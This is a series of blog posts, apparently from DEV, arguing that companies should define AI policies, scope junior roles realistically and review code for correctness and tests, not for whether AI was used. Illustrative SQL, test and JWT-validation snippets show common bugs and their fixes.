Disclosure	When must AI assistance be mentioned in a PR?
Review	What extra review is required for risky code?
Interviews	Can candidates use AI during take-homes or live screens?
Enforcement	What happens when rules are unclear or violated?

Without that, companies are not evaluating judgment. They are evaluating whether candidates guessed the hidden rule.

Do not trust the output blindly

AI output should not be trusted blindly.

Stack Overflow's 2025 survey says more developers distrust AI output accuracy than trust it: 46% versus 33%. The most common frustration is that AI solutions are "almost right, but not quite." [Stack Overflow AI survey]

Source: Stack Overflow 2025 Developer Survey.

That warning matters. It does not justify lazy anti-AI rules.

It supports a verification standard:

Can the developer explain the code?
Did they test the risky behavior?
Did they compare output against docs?
Did they reject bad suggestions?
Did they disclose meaningful assistance?
Did they protect private data?

That is better than:

"No AI."

It is also better than:

"Use AI to move faster, but we will punish you if we dislike the result."

Hiring managers often do not know what they want

Many hiring managers are trying to hire for a role they have not defined.

They want:

AI-literate but not AI-dependent
junior but production-ready
independent but coachable
full-stack but cheap
fast but careful
transparent but not risky
modern but compliant with unstated policy

That is not a candidate profile. It is unresolved leadership tension.

The job description turns into a contradiction because the team has not decided what kind of developer it actually needs.

Evaluate AI use directly

Companies should stop pretending candidates are not using AI. Evaluate how they use it.

A good interview prompt could be:

Here is a small function with a bug.
You may use AI as you normally would.
When you submit the fix, include:
- what you asked
- what the tool got wrong
- what you verified
- what tests you added
- what you would want reviewed before production

That tests judgment, not theater. It also reflects how real work is increasingly done.

Bad AI use versus professional AI use

Lazy AI use	Professional AI use
Paste generated output	Own the final code
Trust confident answers	Verify against docs and tests
Hide tool use	Disclose when required
Ignore security and privacy	Use approved tools and data rules
Skip fundamentals	Use AI to strengthen fundamentals
Treat AI as authority	Treat AI as a fallible assistant

This is the distinction hiring should measure: not whether the candidate touched AI, but whether the candidate can use it without outsourcing judgment.

The learning-resource problem is real

AI is becoming the default learning layer partly because older learning paths are fragmented.

The modern junior is trying to stitch together:

official docs
old Stack Overflow answers
framework changelogs
YouTube tutorials
Discord threads
GitHub issues
blog posts
paid courses
outdated examples
internal docs if they are lucky

AI sits on top of that mess and gives a conversational way to ask:

What changed between versions?
Why does this error happen?
What should I search next?
Can you explain this code like I am new to the repo?
What test cases should I consider?

That is not a replacement for learning. It is a learning interface.

Companies that do not understand that will keep misreading AI use as laziness.

The research points back to training

The paper The Widening Gap found that generative AI can help novice programmers, but weaker learners may accept incorrect suggestions more easily. [The Widening Gap]

A 2025 systematic literature review on junior developers adopting LLMs found both positive and negative perceptions in most of the studies reviewed. [Junior developers and LLMs SLR]

That points back to training: AI literacy has to be taught, not assumed and not banned by reflex.

A policy that actually says something

A serious AI policy for junior developers could say:

Rule	Meaning
Approved tools only	Prevents data leakage and tool sprawl.
No private code in unapproved tools	Protects IP and customer data.
Disclosure for material assistance	Keeps review honest.
Tests required for generated logic	Verifies behavior.
Human review for risky domains	Auth, payments, permissions, infrastructure, data access.
AI allowed for learning	Explanation, docs, debugging, practice tasks.
Developer owns final output	No hiding behind the model.

That is not anti-AI. That is professional.

Bottom line

AI policy is now part of junior hiring. Companies can either define it clearly or keep using it as hidden gatekeeping.

The serious path is obvious:

allow learning
protect private data
require verification
inspect the work
teach the judgment
stop pretending AI is not part of the modern developer stack

Juniors do not need permission to be reckless. They need clear rules for being responsible.

If companies cannot provide those rules, they should stop calling the confusion a candidate-quality problem.

Interested in AI tooling, junior developers, and hiring? Explore #ai on DEV.

Review the Logic, Not Whether the Junior Used AI

Bradley Matera — Wed, 29 Apr 2026 22:36:56 +0000

Code review has a new lazy question:

"Did AI write this?"

Sometimes that question matters.

If private code was pasted into an unapproved tool, it matters.

If generated code was shipped without understanding, it matters.

If the team has a compliance policy, it matters.

But as a review standard, that question is weak.

The better question is:

"Is this code correct, tested, maintainable, and owned by the person submitting it?"

That standard catches bad AI code. It also catches bad human code.

Coding Computer Science GIF by Quixy - Find & Share on GIPHY

Discover & share this Coding Computer Science GIF by Quixy with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

AI panic can hide ordinary review failures

Take a SQL example.

A report needs to include analytics events even when the segment reference is missing, because missing references are part of the data-quality signal.

The wrong query looks clean:

SELECT a.id, a.user_id, a.segment_id
FROM analytics_events a
JOIN segments s ON a.segment_id = s.id
WHERE a.deleted_at IS NULL;

The problem is the JOIN. It drops rows without matching segment records.

If missing segment references are supposed to remain visible, the query needs a LEFT JOIN and an explicit signal:

SELECT
  a.id,
  a.user_id,
  a.segment_id,
  s.id IS NULL AS missing_segment
FROM analytics_events a
LEFT JOIN segments s ON a.segment_id = s.id
WHERE a.deleted_at IS NULL;

That bug has nothing to do with whether AI was used.

A human can make it. AI can make it. A rushed senior can make it. A junior can make it.

The review should catch it either way.

Code review is supposed to teach and protect

Research on code review does not describe it as a rubber stamp.

The 2013 paper Expectations, Outcomes, and Challenges of Modern Code Review found that while defect finding remains a major motivation, code review also supports knowledge transfer, team awareness, and alternative solution discovery.

Google's 2018 paper Modern Code Review: A Case Study at Google describes review as serving readability, education, maintainability, and correctness goals.

Sources: ICSE 2013 modern code review paper and Google Modern Code Review case study.

That matters for juniors. If review only says:

"This looks AI-generated."

It is not teaching anything useful.

If review says:

"This join drops orphaned events. Add a fixture that proves missing segments stay visible."

That teaches.

Ask review questions that expose behavior

Here is the shift teams need:

Weak review question	Strong review question
Did AI write this?	Can the author explain the logic?
Is this generated?	What behavior does this guarantee?
Does it look clean?	What data does it drop?
Did the junior follow policy?	Did the reviewer verify the assumption?
Is this allowed?	What risk does this introduce?
Can we reject it?	What test would make it safe?

The tool-origin question is not useless. It is just not enough.

AI disclosure should be boring

Teams need policies that make disclosure normal.

Example:

AI assistance:
- used AI to understand the existing SQL join behavior
- used AI to brainstorm edge cases
- final query was manually reviewed and tested

Validation:
- added fixture for missing segment reference
- verified deleted events are excluded
- verified active orphaned events remain visible

That is a reviewable note.

It gives the reviewer a path:

inspect the behavior
inspect the test
ask what was rejected
verify the edge case

Compare that with the usual vague policy:

"Use AI responsibly."

That is not a policy. That is a future argument.

Tests are where the tool debate gets real

For the SQL example, a useful test fixture includes:

event with valid segment
event with missing segment
deleted event
expected output that preserves the missing-segment row

Example:

it('preserves active analytics events with missing segment references', async () => {
  await seedAnalyticsEvent({ id: 1, segmentId: 'known-segment', deletedAt: null });
  await seedAnalyticsEvent({ id: 2, segmentId: 'missing-segment', deletedAt: null });
  await seedAnalyticsEvent({ id: 3, segmentId: 'deleted-segment', deletedAt: new Date() });

  const rows = await reportRepository.getCampaignSegmentRows();

  expect(rows).toEqual([
    expect.objectContaining({ id: 1, missing_segment: false }),
    expect.objectContaining({ id: 2, missing_segment: true }),
  ]);
});

That test does not care who wrote the query. It cares whether the business rule survives.

That is the right level of discipline.

Developers already know AI is unreliable

The common narrative is that juniors trust AI too much.

Some do. But the broader developer population is not blindly confident either.

Stack Overflow's 2025 Developer Survey says more developers distrust AI output accuracy than trust it: 46% versus 33%. It also says the biggest frustration is AI answers that are "almost right, but not quite." [Stack Overflow AI survey]

Source: Stack Overflow 2025 Developer Survey.

That phrase should be printed above every code review tool:

almost right, but not quite

That is the danger zone. It applies to human code too.

Bad AI use versus smart AI use

Bad AI use:

generate code
paste it
cannot explain it
no tests
no docs
no edge cases
hide the tool use

Smart AI use:

ask AI to explain unfamiliar code
ask for edge cases
compare with docs
write or improve tests
reject wrong suggestions
disclose meaningful help
own the final change

Teams should punish the first pattern and teach the second.

The senior double standard

The uncomfortable part is that many seniors have a double standard.

They treat junior AI use as suspicious but treat senior intuition as trustworthy.

That is not engineering. Engineering is evidence.

A senior's hand-written code can still be wrong.

A junior's AI-assisted code can still be correct.

Neither gets a free pass.

The standard should be:

Standard	Applies to
Explain the code	Everyone
Test risky behavior	Everyone
Follow privacy policy	Everyone
Disclose required AI use	Everyone
Accept review	Everyone
Own production impact	Everyone

That is how teams avoid turning AI policy into status politics.

What hiring managers should ask

If companies want AI-aware juniors, they should evaluate AI-aware review skills.

Ask candidates:

How would you verify AI-generated code?
What makes an AI answer unsafe?
When would you refuse to use generated output?
How would you test this SQL query?
What would you disclose in a PR?

That is better than pretending AI does not exist. It is also better than rewarding candidates who hide their workflow.

Bottom line

Review the logic. Review the tests. Review the assumptions. Review the data that disappears.

Review the security boundary. Review the production risk.

Yes, review AI usage too.

But do not confuse tool suspicion with engineering rigor.

The goal is not to keep AI out of the conversation. The goal is to keep bad code out of production.

Interested in code review, AI, and engineering culture? Explore #code-review on DEV.

Stop Hiring One Junior to Be the Whole Engineering Department

Bradley Matera — Wed, 29 Apr 2026 22:35:56 +0000

One of the worst hiring patterns in tech is the "junior full-stack owner."

The title says junior.

The job says:

build the UI
write the API
design the database
deploy to cloud
manage CI/CD
write tests
handle analytics
debug production
talk to support
understand security
use AI responsibly
move fast

That is not a junior role. It is an underfunded engineering department wearing a junior title.

Work From Home Leaf GIF by CC0 Studios - Find & Share on GIPHY

Discover & share this Work From Home Leaf GIF by CC0 Studios with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

Scope is the hidden hiring failure

The industry talks a lot about skill gaps. It talks less about scope gaps.

A junior can learn React. A junior can learn SQL. A junior can learn AWS basics. A junior can learn testing.

But a junior cannot safely be the primary owner for every layer of a production system without support.

That is not because juniors are weak. It is because production systems are multi-disciplinary.

Frontend work requires accessibility, state management, browser behavior, design constraints, and product judgment.

Backend work requires API design, data modeling, validation, concurrency, error handling, and performance awareness.

Infrastructure work requires networking, secrets, deployment, observability, rollback, permissions, and cost control.

Support work requires incident judgment, user empathy, logging, triage, and communication.

Those are different skill families. Calling all of them "full-stack" does not make the scope reasonable.

The market rewards impossible wish lists

Indeed Hiring Lab reported that tech postings have shifted toward higher experience requirements, with the share asking for at least five years of experience rising from 37% to 42% between Q2 2022 and Q2 2025. [Indeed Hiring Lab]

Source: Indeed Hiring Lab.

NACE reports growing use of skills-based hiring for entry-level roles. [NACE]

That combination can be useful if companies define the skills clearly.

It becomes harmful when the skill list turns into:

"Everything our team is missing."

Bad hiring logic looks like this:

Business need	Bad junior requirement
We need a frontend fix	Must know React, design systems, accessibility, analytics.
We need API work	Must know Node, Python, SQL, auth, caching.
We need deployment help	Must know AWS, Docker, Kubernetes, Terraform.
We need quality	Must know unit, integration, E2E, and load testing.
We need velocity	Must know AI tools and ship independently.
We need coverage	Must join support rotation immediately.

That is not skills-based hiring. That is panic-based hiring.

Production reliability is not a junior checkbox

Reliability work is a good example.

Companies often expect juniors to understand retry logic, circuit breakers, queues, dead-letter handling, monitoring, and incident response while never giving them a safe path to learn those concepts.

Microsoft's Azure Architecture Center describes the Circuit Breaker pattern as a way to handle faults that may take time to recover from when an application connects to a remote service or resource.

Google's SRE book chapter on cascading failures explains how failures can amplify across systems, especially when retry behavior and overload are handled badly.

Those are not beginner concepts. They are teachable concepts. There is a difference.

AI can name the pattern. It cannot own the blast radius.

AI is useful here.

A junior can ask:

"What pattern prevents one failing upstream service from taking down the whole ingestion pipeline?"

The answer might point toward:

circuit breaker
retry with backoff
bulkhead isolation
dead-letter queue
schema validation
graceful degradation

That is valuable. But knowing the name of a pattern is not the same as owning production risk.

The junior still needs help deciding:

when the circuit opens
when it closes
what gets dropped
what gets retried
how operators are alerted
what users see
what metrics prove it worked
how to remove or replace the mitigation

That is where mentorship matters. AI can shorten discovery. It cannot replace operational judgment.

"No hacks" is often fake discipline

Another leadership mistake is rejecting temporary mitigations because they sound messy.

Teams say:

"We do not do hacks."

Sometimes that is discipline. Sometimes it is an excuse to avoid making a hard risk trade-off.

There is a real difference between a sloppy patch and a responsible mitigation:

Sloppy patch	Responsible mitigation
Hidden behavior	Documented behavior
No owner	Named owner
No tests	Test for failure mode
No observability	Logs, metrics, alerting
No end date	Removal or replacement condition
Pretends to be final	Explicitly buys time

Juniors should learn that distinction. Companies should teach it.

Instead, many teams give juniors vague slogans:

no hacks
move fast
own your work
think like a senior
use AI but be careful

Those are slogans, not operating instructions.

A realistic junior production path

If companies want juniors to learn production work, they need staged exposure.

Stage	Good junior scope
Observe	Watch incident reviews and deployment rollbacks.
Pair	Debug logs with a senior during low-risk issues.
Implement	Add tests, alerts, or small guardrails with review.
Shadow	Join support rotation without being primary.
Own small surface	Maintain a limited component with backup.
Expand	Take larger production ownership after evidence.

Source: Author framework for staged junior onboarding.

That is how production judgment develops. Not by throwing a junior into a multi-layer system and calling it "ownership."

AI adds another layer of pressure

Stack Overflow's 2025 survey says AI use is widespread among developers, but trust is low. [Stack Overflow AI survey]

Handshake reports that 70% of hiring leaders say AI will change entry-level role requirements. [Handshake]

Source: Handshake Class of 2026 AI economy research.

That means juniors are now expected to know the tool and know when not to trust the tool. That is a sophisticated skill.

If companies add AI to already bloated junior roles without training, they are not modernizing. They are increasing risk.

Write the role like you mean it

Bad:

Junior Full-Stack Developer
Must own frontend, backend, AWS deployments, testing, analytics, and production support.
Experience with AI coding tools preferred.

Better:

Junior Product Engineer
First 90 days focus on frontend bug fixes, API integration tasks, test coverage, and guided deployments.
Production support begins as shadowing only.
AI tools are allowed for learning and drafting, with disclosure and review rules.

The second version is still ambitious. It is also honest.

Bottom line

Companies cannot complain that juniors are not production-ready while designing junior roles with production blast radius and no training path.

If the role spans frontend, backend, cloud, DevOps, testing, analytics, support, and AI tooling, the candidate is not the problem.

The scope is.

A junior can grow into broad ownership. They should not be used as a cheap replacement for a missing team.

Interested in production engineering, hiring, and junior developer growth? Explore #production on DEV.

Senior Engineers Complaining About Juniors Are Missing the Point

Bradley Matera — Wed, 29 Apr 2026 22:34:40 +0000

Senior engineers love complaining about juniors.

They complain juniors do not understand fundamentals.

They complain juniors use AI too much.

They complain juniors ask basic questions.

They complain juniors cannot debug production systems.

Some of those complaints are true. They are also incomplete.

Because the same industry that complains about junior quality spent years weakening the systems that used to create it.

Teamwork GIF by Dubsado - Find & Share on GIPHY

Discover & share this Teamwork GIF by Dubsado with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

Juniors are not supposed to arrive finished

A junior developer is not a discounted senior.

A junior is a developer with potential, fundamentals in progress, limited production context, and a real need for feedback.

That should not be controversial. Many companies still act like it is.

They hire a junior and expect:

independent delivery
production debugging
architectural judgment
stakeholder communication
cloud deployment
test strategy
security intuition
codebase navigation
product sense

Those are learned abilities, not personality traits.

If the company does not teach them, the company should not be shocked when the junior learns from AI, YouTube, old docs, Stack Overflow, Discord, Reddit, and trial-and-error.

The mentorship gap is not mysterious

Good junior development requires slack in the system. Somebody has to have time to teach.

Someone has to:

explain the codebase
review PRs with reasoning
answer questions without making the junior feel stupid
give scoped tasks
connect bugs to system concepts
show how production incidents are handled
explain trade-offs
model debugging
call out risk before it becomes blame

That takes time. Companies cut that time first.

Then they complain the pipeline is weak.

That is not a junior problem. It is a resource allocation problem.

Psychological safety is not office decor

The research on team learning has been clear for a long time.

Amy Edmondson's 1999 paper, Psychological Safety and Learning Behavior in Work Teams, studied 51 work teams and found psychological safety was associated with learning behavior.

Source: Psychological Safety and Learning Behavior in Work Teams.

That matters in engineering because juniors learn by taking small interpersonal risks:

"I do not understand this code."
"I think this bug is deeper than the UI."
"I used AI to understand the error, but I want to verify it."
"I do not know whether this is safe."
"Can you explain why this pattern is preferred?"

If asking those questions gets punished, juniors stop asking.

Then seniors say juniors are quiet, passive, or not curious.

That is the predictable result of a team that punishes learning out loud.

AI fills the space mentorship left open

Stack Overflow's 2025 Developer Survey says 44% of developers used AI-enabled tools to learn coding techniques or a new language. [Stack Overflow AI survey]

GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [GitHub Octoverse 2025]

Sources: Stack Overflow 2025 Developer Survey and GitHub Octoverse 2025.

This is the part senior engineers need to take seriously: AI is not only being used to generate code.

It is being used because juniors need explanations and often cannot get them from people.

AI answers:

What is this error?
What does this SQL join do?
Why is this React state stale?
What is a race condition?
How do I write a test for this?
What should I ask in code review?
What edge cases might I be missing?

That does not make AI a mentor. It makes AI the thing juniors reach for when the actual mentor is unavailable.

The old learning culture had shortcuts too

It is dishonest to act like older developers learned only through deep first-principles study.

Previous generations used:

Stack Overflow answers
snippets from blogs
copied config files
starter templates
WordPress themes
Bootstrap examples
jQuery plugins
internal code copied from older services
tutorials that skipped production concerns

Some developers learned deeply through those shortcuts. Some cargo-culted them.

That same distinction matters with AI.

The question is not:

Did the junior use outside help?

The question is:

Did the junior build understanding?

Review the thinking, not just the diff

A senior who wants better juniors should stop reviewing only the final diff. Review the thinking.

Ask:

Review question	What it teaches
What problem is this solving?	Product framing.
What did you try first?	Debugging process.
What did AI suggest that you rejected?	Judgment.
What edge case worries you?	Risk awareness.
What test proves this behavior?	Verification.
What part of this system do you still not understand?	Learning path.

That is how review becomes mentorship.

Without that, review becomes a gate. Gates do not create seniors. Mentorship does.

AI dependence is a real risk

There is a real danger in AI-assisted learning.

The paper The Widening Gap found that generative AI can help novice programmers, but weaker students may struggle more to ignore incorrect or unhelpful suggestions. [The Widening Gap]

A 2025 systematic review on GenAI and code comprehension found that AI explanations can support comprehension, but can also be inaccurate or difficult for novices to evaluate. [Code comprehension SLR]

That means teams should not tell juniors:

"Just use AI."

They should teach:

how to verify generated output
how to compare against docs
how to write tests
how to reject confident wrong answers
how to disclose meaningful AI assistance
when to ask a human

That is modern mentorship. Not nostalgia. Not tool panic.

The management failure nobody wants to own

Many companies removed the apprenticeship layer and replaced it with vibes.

They have:

no onboarding map
no junior-safe backlog
no mentor capacity
no documentation budget
no pairing culture
no AI policy
no explicit progression rubric
no time for seniors to teach

Then they ask:

"Why are juniors not ready?"

Because nobody built readiness. That is the answer.

What a real junior pipeline looks like

A serious junior pipeline does not need to be fancy. It needs to be intentional.

Timeframe	What should happen
Week 1	Environment setup, product overview, first docs fix, mentor assigned.
Month 1	Small bug fixes, guided PRs, test-writing practice, codebase map.
Month 2	Slightly larger feature work with review checkpoints.
Month 3	Limited ownership of a small surface area.
Month 6	Participation in production support with shadowing.
Month 12	Clear evaluation for mid-level readiness.

That is not charity. That is workforce development.

Source: Author framework for staged junior onboarding.

Bottom line

Senior engineers are allowed to expect rigor. They are not allowed to pretend rigor appears without teaching.

If juniors use AI badly, correct the behavior.

If juniors use AI to learn, review the learning.

If juniors cannot explain their code, teach them how to explain it.

But stop acting like the new generation failed a system that the old generation forgot to maintain.

The next senior engineers will not appear by accident. Somebody has to build them.

Interested in mentorship, junior developers, and engineering culture? Explore #career on DEV.

Entry-Level Job Descriptions Are Becoming Broken Product Specs

Bradley Matera — Wed, 29 Apr 2026 22:33:15 +0000

A lot of "entry-level developer" job descriptions are not entry-level.

They are broken product specs.

They ask for one person to build frontend features, debug backend APIs, write SQL, manage cloud infrastructure, understand CI/CD, test everything, talk to stakeholders, support production, know security basics, and somehow still be "junior."

That is not an entry-level role.

That is a company trying to buy a small engineering team at junior pricing.

Animation Hiring GIF by Biteable - Find & Share on GIPHY

Discover & share this Animation Hiring GIF by Biteable with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

The market is saying two things at once

The long-term outlook for software developers is still strong.

The U.S. Bureau of Labor Statistics projects software developer employment to grow 15.8% from 2024 to 2034, adding 267,700 jobs. [BLS projections]

Source: BLS employment projections.

But the entry point is getting narrower.

Indeed Hiring Lab reported that from Q2 2022 to Q2 2025, the share of tech job postings asking for at least five years of experience rose from 37% to 42%. The report specifically notes that the environment became more challenging for entry-level and early-career tech job seekers. [Indeed Hiring Lab]

Source: Indeed Hiring Lab.

That creates a broken labor-market shape:

software work is projected to grow
companies still need engineers
job postings increasingly favor experienced candidates
juniors are told to "get experience" before anyone will give them experience

That is not just a candidate-quality problem. It is a pipeline design problem.

The imaginary junior candidate

Here is a common bad hiring pattern:

Requirement	Why it is a red flag for "junior"
3-5 years of production experience	That is not entry-level.
React, Node, Python, SQL, AWS, Docker, Kubernetes	That is a platform surface, not a junior scope.
Own features end to end	Ownership requires support and context.
Build and maintain CI/CD	That is DevOps/platform work.
Understand security best practices	Reasonable as learning goal, unrealistic as solo owner.
Work independently from day one	That means the company does not plan to mentor.
Excellent UI/UX instincts	That is a design skill, not automatically a dev skill.
Support production incidents	Fine with backup, reckless without it.

There is nothing wrong with wanting broad engineers.

There is something wrong with calling that role "entry-level" while refusing to say what the company will teach.

Source: Illustrative role-scope comparison based on the job-description pattern discussed in this article, not a market-wide statistic.

Skills-based hiring can still be lazy

NACE's Job Outlook 2026 data shows employer use of skills-based hiring is growing for entry-level roles. [NACE]

In theory, that is good. Skills-based hiring can reduce overreliance on degrees, school prestige, and GPA filters.

But in practice, it can become a new version of the same problem:

"Show us evidence you already performed the job we refuse to train you for."

A portfolio project is useful.

A take-home project can be useful.

A technical screen can be useful.

But none of those prove a junior can safely own ambiguous production work without mentorship.

They prove the candidate can complete an assessment under artificial constraints.

Companies confuse those things constantly.

AI is now another requirement

Handshake's research on the Class of 2026 in the AI economy found that 70% of hiring leaders say AI will change entry-level role requirements. [Handshake]

Source: Handshake Class of 2026 AI economy research.

That is probably true. It also raises the question companies keep dodging:

Are companies teaching AI-assisted engineering, or are they just adding AI to the list of things juniors are supposed to magically know?

The industry already expects juniors to understand:

Git
testing
APIs
databases
frontend frameworks
deployment basics
security basics
agile workflow
product communication

Now add:

prompt literacy
AI code review
tool privacy
generated-code risk
model limitations
agent workflows
AI policy compliance

That is a real skill stack. It needs training.

Older developers used shortcuts too

Older developers often criticize juniors for using AI as if previous generations learned from pure fundamentals alone.

That is not what happened.

Previous generations learned through:

Stack Overflow answers
blog snippets
jQuery plugins
Bootstrap templates
WordPress themes
forum posts
copied config files
outdated but useful tutorials
internal code copied from another service

The issue was never "did the developer use outside help?"

The issue was whether the developer understood the code before shipping it.

That is still the standard.

Smart AI use is not laziness

Stack Overflow's 2025 survey says 84% of respondents are using or planning to use AI tools, and 44% used AI-enabled tools to learn coding techniques or a new language. [Stack Overflow AI survey]

GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [GitHub Octoverse 2025]

Sources: Stack Overflow 2025 Developer Survey and GitHub Octoverse 2025.

That is the world juniors are entering. Pretending otherwise is not discipline. It is denial.

Lazy AI use looks like this:

paste the output
do not read it
do not test it
do not understand failure cases
hide the tool use
ship confidence without comprehension

Smart AI-assisted learning looks like this:

ask for explanation
compare with official docs
generate test cases
inspect edge cases
rewrite in project style
document assumptions
ask a human for review where risk is high

The first one deserves criticism. The second one deserves coaching.

A real junior role has a smaller blast radius

If companies want juniors to succeed, the job description should identify the first 90 days.

Example of a bad junior scope:

Own the customer dashboard end-to-end across React, Node, PostgreSQL, AWS, CI/CD, analytics tracking, and production support.

Example of a better junior scope:

In the first 90 days, ship small product fixes in the React dashboard, write tests for touched behavior, pair on API changes, and learn the deployment process with a mentor before joining the support rotation.

That second version is still real work. It just does not pretend the junior is a full product team.

What the job post should actually say

Section	What it should say
Required skills	The minimum needed on day one.
Teachable skills	What the company expects to train.
First 30 days	Onboarding, repo setup, first small fixes.
First 90 days	Expected independent scope.
Mentorship	Who reviews work and how often.
AI policy	Approved tools, disclosure rules, privacy limits.
Support expectations	Whether production support is shadowed or owned.
Evaluation	How the junior will be judged.

That is not extra paperwork. It is basic hiring clarity.

Source: Author framework for staged junior onboarding.

The leadership mistake

Many leadership teams do not know whether they want:

an apprentice
a junior developer
a mid-level developer
a full-stack generalist
a platform engineer
a cheap senior
a product engineer
a support engineer who can code

So they write all of it into one job description, then complain about the candidate pool.

That is backwards. Bad requirements create bad hiring signals.

If the role is confused, the hiring process will be confused.

If the hiring process is confused, the team will reject good juniors for not being imaginary candidates.

AI does not magically fix the gap

AI does not fix this.

It can even make the gap worse.

The paper The Widening Gap found that generative AI can help novice programmers, but it can also widen differences between learners who can evaluate suggestions and learners who accept bad output too easily. [The Widening Gap]

A 2025 systematic literature review on junior developers and LLMs found that most studies report both positive and negative perceptions of LLM adoption. [Junior developers and LLMs SLR]

That means AI can help juniors climb. It can also hide weak understanding.

The difference is not moral character. The difference is training, review, and feedback.

Bottom line

Entry-level hiring is broken when the job description asks for a junior title, a mid-level skillset, a senior ownership model, and no mentorship plan.

Companies can keep blaming juniors.

Or they can write honest roles.

If a company wants junior talent, it has to define what the junior is expected to know, what the company will teach, and how AI-assisted learning will be reviewed.

Anything else is just a broken product spec disguised as hiring.

Interested in hiring, junior developers, and tech careers? Explore #hiring on DEV.

AI Did Not Make Junior Developers Risky. Unreviewed Work Did.

Bradley Matera — Wed, 29 Apr 2026 22:31:42 +0000

The industry talks about junior developers using AI like the junior is the main risk.

That is too convenient.

A junior can absolutely ship bad AI-generated code.

So can a senior.

So can a staff engineer under deadline pressure.

So can a team with no tests, unclear ownership, and code review that nitpicks style while missing behavior.

The problem is not that juniors use tools.

The problem is companies letting risky work pass through weak systems, then blaming the lowest-status person when something breaks.

Computer Code GIF by HACKER.REHAB - Find & Share on GIPHY

Discover & share this Computer Code GIF by HACKER.REHAB with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

Security shows the double standard

Take a basic authentication example.

A service verifies a JWT signature but forgets to validate issuer or audience:

const payload = jwt.verify(token, publicKey);
if (!payload.sub) {
  throw new Error('Invalid token');
}

The missing checks are the boring part that matters:

if (payload.iss !== config.allowedIssuer) {
  throw new Error('Unauthorized token issuer');
}

if (payload.aud !== config.expectedAudience) {
  throw new Error('Unexpected token audience');
}

That is not an "AI problem." It is an engineering-control problem.

If a junior asks AI, "What claims should a JWT validation path check?" and then uses that answer to inspect the code, that can be a good learning move.

If anyone copies generated auth code into production without tests or review, that is reckless.

The difference is verification.

The risk is real

Security concerns around AI-generated code are real.

AI can suggest outdated libraries, miss authorization boundaries, invent safe-looking checks, or generate code that passes happy-path tests while failing under real attack scenarios.

But security risk existed long before AI.

OWASP's Top 10 lists Broken Access Control as the number one 2021 web application security risk category. It also lists Identification and Authentication Failures as a major category.

Sources: OWASP Broken Access Control and OWASP Identification and Authentication Failures.

Those are not "junior used ChatGPT" categories. They are systems failing to enforce trust boundaries.

NIST's Secure Software Development Framework, SP 800-218, emphasizes secure practices across the software lifecycle, including defined roles, testing, vulnerability review, and risk response.

Security is a lifecycle responsibility. It cannot be reduced to "did the junior use AI?"

The pattern that actually breaks teams

Here is the pattern that should worry companies:

Weak system	What happens
No clear security checklist	Review depends on memory and senior availability.
No threat modeling	Teams do not know which risks matter.
No auth regression tests	Small claim-check bugs survive.
No AI usage policy	Tool use becomes hidden or selectively punished.
No safe escalation path	Juniors stop raising uncomfortable concerns.
No ownership of deferred risk	"Later" becomes "never."

That is how security bugs survive. Not because a junior asked an AI assistant to explain JWTs.

AI can teach vocabulary, not judgment

One underrated use of AI is vocabulary.

Juniors often see a problem before they know how to name it.

They might notice:

this token accepts too much
this endpoint trusts a client field
this query exposes another tenant's data
this permission check happens only in the UI
this webhook handler is not idempotent

AI can help map those observations to terms:

issuer validation
audience validation
broken access control
authorization bypass
tenant isolation
idempotency
replay risk
least privilege

That does not make AI a security reviewer. It makes AI a learning layer.

The human process still has to verify the answer.

The data supports caution, not panic

Stack Overflow's 2025 Developer Survey says AI use is widespread, but trust is low. More developers distrust AI output accuracy than trust it: 46% versus 33%. [Stack Overflow AI survey]

Source: Stack Overflow 2025 Developer Survey.

That is the right posture for security-sensitive work:

useful, but not trusted blindly.

The research on novice programmers is also cautious. The Widening Gap found that GenAI can help novices complete tasks, but weaker learners may struggle to reject incorrect suggestions. [The Widening Gap]

A 2025 systematic review on junior developers and LLMs found both positive and negative perceptions across the literature. [Junior developers and LLMs SLR]

That is not a ban argument. It is a governance argument.

Review should follow the risk

Teams need different review standards for different code.

Changing button copy is not the same as changing authentication logic.

A risk-based review model might look like this:

Code area	AI assistance allowed?	Review expectation
UI copy	Usually low risk	Normal review.
Styling	Usually low risk	Visual check.
Business logic	Allowed with validation	Tests for behavior and edge cases.
Database migrations	High caution	Human review, rollback plan, test data.
Auth and permissions	High caution	Security review, threat model, regression tests.
Payments	High caution	Lifecycle tests, idempotency, reconciliation.
Secrets and infrastructure	High caution	Approved tooling, least privilege, audit trail.

This is stricter than yelling "no AI," and it is more useful.

Bad leadership makes people hide tool use

If leadership treats all AI use as suspicious, juniors will not stop using AI.

They will stop disclosing it.

That is worse than disclosure.

The company loses visibility into:

what tools are being used
what code may have been generated
what data may have been pasted
which developers need coaching
which patterns keep causing confusion

A useful AI policy should make disclosure normal, not humiliating.

Something like:

AI assistance:
- used for explanation, edge-case brainstorming, or draft code

Developer responsibility:
- author owns final code
- risky code requires tests and human review
- private code may only be used with approved tools

That gives reviewers something concrete.

Seniors have to review better too

Senior engineers cannot just complain that juniors do not know enough.

They have to decide whether they are reviewers, mentors, or gatekeepers.

A useful senior review asks:

What behavior does this code guarantee?
What cases are not covered?
What did the AI suggest that you rejected?
Which docs did you verify against?
What would break if this assumption is wrong?
How does the test prove the security boundary?

A weak senior review says:

"This looks AI-generated."

That is not enough.

Maybe it is generated. So what?

Is it correct? Is it tested? Is it safe? Is it maintainable? Does it respect the data boundary?

Those are the questions that matter.

Example: JWT validation checklist

For security-sensitive code, teams should teach checklists.

For JWT validation, a basic review checklist might include:

Check	Why it matters
Verify signature	Confirms token integrity.
Validate issuer	Rejects tokens from unexpected authorities.
Validate audience	Ensures token is meant for this service.
Validate expiration	Prevents stale token use.
Validate tenant mapping	Prevents cross-customer access.
Test failure cases	Confirms invalid tokens are rejected.
Log safely	Helps investigation without leaking secrets.

That checklist is useful no matter who wrote the first draft.

Bottom line

AI did not make junior developers risky.

Unreviewed work is risky. Ambiguous ownership is risky. Security-sensitive code without tests is risky. Leadership that punishes disclosure is risky.

If companies want safer software, they need review systems that inspect behavior, teach risk, and make AI use governable.

Blaming juniors is easier. It is also weaker engineering.

Interested in security, AI, and engineering review culture? Explore #security on DEV.

Forem: Bradley Matera

